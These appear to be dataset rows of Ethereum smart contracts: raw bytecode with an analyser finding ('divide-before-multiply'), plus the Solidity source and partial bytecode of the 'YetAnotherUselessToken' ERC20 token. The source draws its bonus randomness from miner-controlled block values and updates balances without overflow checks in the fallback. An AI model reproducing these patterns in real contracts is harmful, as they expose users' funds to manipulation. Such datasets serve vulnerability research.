0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220fc7d311993fc90bd52fc4f37153218aad68705d35c5f85bfcd7c2c580549d87064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,821 |
0x4eef9031934ec177c9376b02ef008d48ac879e05
|
pragma solidity ^0.4.23;
// ----------------------------------------------------------------------------
//
// Symbol : YUC
// Name : Yet Another Useless Coin
// Total supply: 10^7
// Decimals : 10
//
// Enjoy.
//
// (c) With reference to Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract YetAnotherUselessToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint256 public decimals;
uint256 public _totalSupply;
bool public purchasingAllowed;
uint256 public totalContribution;
uint256 public totalIssued;
uint256 public totalBonusTokensIssued;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "YUC";
name = "YetAnotherUselessToken";
decimals = 10;
_totalSupply = 10000000;
balances[owner] = _totalSupply * (10 ** decimals);
purchasingAllowed = false;
totalContribution = 0;
totalIssued = 0;
totalBonusTokensIssued = 0;
emit Transfer(address(0), owner, _totalSupply * (10 ** decimals));
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint256) {
return _totalSupply * (10 ** decimals) - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint256 tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// purchasingAllowed
// ------------------------------------------------------------------------
function purchasingAllowed() public constant returns (bool) {
return purchasingAllowed;
}
function enablePurchasing() public onlyOwner {
purchasingAllowed = true;
}
function disablePurchasing() public onlyOwner {
purchasingAllowed = false;
}
// ------------------------------------------------------------------------
// Interface to the web app.
// Its Keccak-256 hash value is 0xc59d4847
// ------------------------------------------------------------------------
function getStats() constant public returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalIssued, totalBonusTokensIssued, purchasingAllowed);
}
// -----------------------------------------------------------------------
// Accept ETH
// ------------------------------------------------------------------------
function() public payable {
if (!purchasingAllowed) { revert(); }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
// issue the token
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint256 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalIssued += tokensIssued;
balances[msg.sender] += tokensIssued * (10 ** decimals);
balances[owner] -= tokensIssued * (10 ** decimals);
emit Transfer(owner, msg.sender, tokensIssued * (10 ** decimals));
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610a2c578063095ea7b314610abc5780630dcf4b8f14610b2157806318160ddd14610b4c57806323b872dd14610b77578063313ce56714610bfc5780633eaaf86b14610c2757806364acdb7714610c5257806370a0823114610c6957806379ba509714610cc05780638da5cb5b14610cd75780638f58099614610d2e57806395d89b4114610d4557806398b01fe314610dd5578063a293d1e814610e00578063a9059cbb14610e4b578063b5931f7c14610eb0578063c59d484714610efb578063cae9ca5114610f3f578063d05c78da14610fea578063d4ee1d9014611035578063da040c0f1461108c578063dc39d06d146110bb578063dd62ed3e14611120578063e6cb901314611197578063f2fde38b146111e2578063f5be319314611225575b600080600080600660009054906101000a900460ff16151561018057600080fd5b600034141561018e57610a26565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156101f5573d6000803e3d6000fd5b5034600760008282540192505081905550606434029350662386f26fc10000341015156108bf576003414342604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140183815260200182815260200193505050506020604051808303816000865af1158015610296573d6000803e3d6000fd5b505050604051516c0100000000000000000000000002925060007f0100000000000000000000000000000000000000000000000000000000000000028360006014811015156102e157fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156108be5760007f01000000000000000000000000000000000000000000000000000000000000000260807f01000000000000000000000000000000000000000000000000000000000000000284600160148110151561038357fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156103d65760006103d9565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260407f01000000000000000000000000000000000000000000000000000000000000000285600160148110151561043057fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610483576000610486565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260207f0100000000000000000000000000000000000000000000000000000000000000028660016014811015156104dd57fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610530576000610533565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260107f01000000000000000000000000000000000000000000000000000000000000000287600160148110151561058a57fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156105dd5760006105e0565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260087f01000000000000000000000000000000000000000000000000000000000000000288600160148110151561063757fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561068a57600061068d565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260047f0100000000000000000000000000000000000000000000000000000000000000028960016014811015156106e457fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561073757600061073a565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260027f0100000000000000000000000000000000000000000000000000000000000000028a600160148110151561079157fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156107e45760006107e7565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260017f0100000000000000000000000000000000000000000000000000000000000000028b600160148110151561083e57fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610891576000610894565b60015b0101010101010160ff16915081606434020290508084019350806009600082825401925050819055505b5b83600860008282540192505081905550600454600a0a8402600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600454600a0a8402600a60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454600a0a87026040518082815260200191505060405180910390a35b50505050005b348015610a3857600080fd5b50610a41611250565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a81578082015181840152602081019050610a66565b50505050905090810190601f168015610aae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610ac857600080fd5b50610b07600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ee565b604051808215151515815260200191505060405180910390f35b348015610b2d57600080fd5b50610b366113e0565b6040518082815260200191505060405180910390f35b348015610b5857600080fd5b50610b616113e6565b6040518082815260200191505060405180910390f35b348015610b8357600080fd5b50610be2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611438565b604051808215151515815260200191505060405180910390f35b348015610c0857600080fd5b50610c116116c8565b6040518082815260200191505060405180910390f35b348015610c3357600080fd5b50610c3c6116ce565b6040518082815260200191505060405180910390f35b348015610c5e57600080fd5b50610c676116d4565b005b348015610c7557600080fd5b50610caa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174c565b6040518082815260200191505060405180910390f35b348015610ccc57600080fd5b50610cd5611795565b005b348015610ce357600080fd5b50610cec611934565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d3a57600080fd5b50610d43611959565b005b348015610d5157600080fd5b50610d5a6119d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d9a578082015181840152602081019050610d7f565b50505050905090810190601f168015610dc75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610de157600080fd5b50610dea611a6f565b6040518082815260200191505060405180910390f35b348015610e0c57600080fd5b50610e356004803603810190808035906020019092919080359060200190929190505050611a75565b6040518082815260200191505060405180910390f35b348015610e5757600080fd5b50610e96600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a91565b604051808215151515815260200191505060405180910390f35b348015610ebc57600080fd5b50610ee56004803603810190808035906020019092919080359060200190929190505050611c1a565b6040518082815260200191505060405180910390f35b348015610f0757600080fd5b50610f10611c3e565b604051808581526020018481526020018381526020018215151515815260200194505050505060405180910390f35b348015610f4b57600080fd5b50610fd0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611c6b565b604051808215151515815260200191505060405180910390f35b348015610ff657600080fd5b5061101f6004803603810190808035906020019092919080359060200190929190505050611eba565b6040518082815260200191505060405180910390f35b34801561104157600080fd5b5061104a611eeb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561109857600080fd5b506110a1611f11565b604051808215151515815260200191505060405180910390f35b3480156110c757600080fd5b50611106600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f28565b604051808215151515815260200191505060405180910390f35b34801561112c57600080fd5b50611181600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061208c565b6040518082815260200191505060405180910390f35b3480156111a357600080fd5b506111cc6004803603810190808035906020019092919080359060200190929190505050612113565b6040518082815260200191505060405180910390f35b3480156111ee57600080fd5b50611223600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061212f565b005b34801561123157600080fd5b5061123a6121ce565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112e65780601f106112bb576101008083540402835291602001916112e6565b820191906000526020600020905b8154815290600101906020018083116112c957829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600a60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600454600a0a6005540203905090565b6000611483600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611a75565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154c600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611a75565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611615600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612113565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60045481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172f57600080fd5b6000600660006101000a81548160ff021916908315150217905550565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117f157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119b457600080fd5b6001600660006101000a81548160ff021916908315150217905550565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a675780601f10611a3c